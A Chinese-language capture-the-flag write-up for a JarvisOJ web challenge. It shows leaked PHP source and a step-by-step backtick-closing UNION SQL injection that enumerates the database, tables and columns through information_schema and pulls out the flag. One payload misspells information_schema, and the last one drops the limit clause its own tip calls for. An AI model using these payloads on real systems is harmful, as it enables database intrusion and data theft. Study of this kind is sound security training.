题目链接 :http://web.jarvisoj.com:32794/
进入页面,发现只有 flag{xxx}
题目hint:先找到源码~
源码泄露:
http://web.jarvisoj.com:32794/index.php~
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
$table = $_GET['table']?$_GET['table']:"test";`
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
http://web.jarvisoj.com:32794/index.php?table=test
页面返回正常,flag{xxx}
http://web.jarvisoj.com:32794/index.php?table=123
页面返回 Hello Hacker
从源码分析可知
//源码
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
当table=test时,页面返回flag{xxx}
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
因此该条语句没有跳转到Hacker(),而是执行了mysqli_query()函数
而反过来,当table为其他值时,mysqli_query()函数执行失败,从而执行了Hacker()
观察可知,输入的table参数被desc 使用进行降序排序
并且,desc后使用的是 ` (反引号) 位于键盘Esc正下方
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号
例如,如果test表中存在一个"from"字段,当我们查找内容时,就需要使用反引号,以防使用保留字符而报错
select `from` from test
desc tablename #查看table的结构信息
例如,使用desc查看users表的结构
desc users
因此,如果desc 后接的表不存在,则返回失败
通过反引号的闭合,可以构造SQL注入
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
构造payload,测试当前数据库名称
payload: ?table=test` ` union select database()
相当于
mysqli_query($mysqli,"desc `secret_test` ` union select database()`") or Hacker();
$sql = "select 'flag{xxx}' from secret_test` ` union select database()";
$ret = sql_query($sql);
echo $ret[0];
这样,desc secret_test能够执行通过,并且下面的sql语句可以查询数据库
Tip1: 在第二条sql语句中,两个反引号就相当于了空格
Tip2: 注意到最后页面只输出数组变量ret的第0位,而第0位恒为flag{xxx},所以为了控制输出,可以使用limit 1,1来进行约束,使返回结果从第1位开始
爆表名
payload: ?table=test` ` union select group_concat(table_name) from information_shcema.tables where table_schema=database()limit 1,1
查询到存在secret_flag,secret_test 两个表
爆字段
payload: ?table=test` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1
查询到存在flagUwillNeverKnow,username 两个字段
爆值
payload: ?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag
查询到flag{luckyGame~}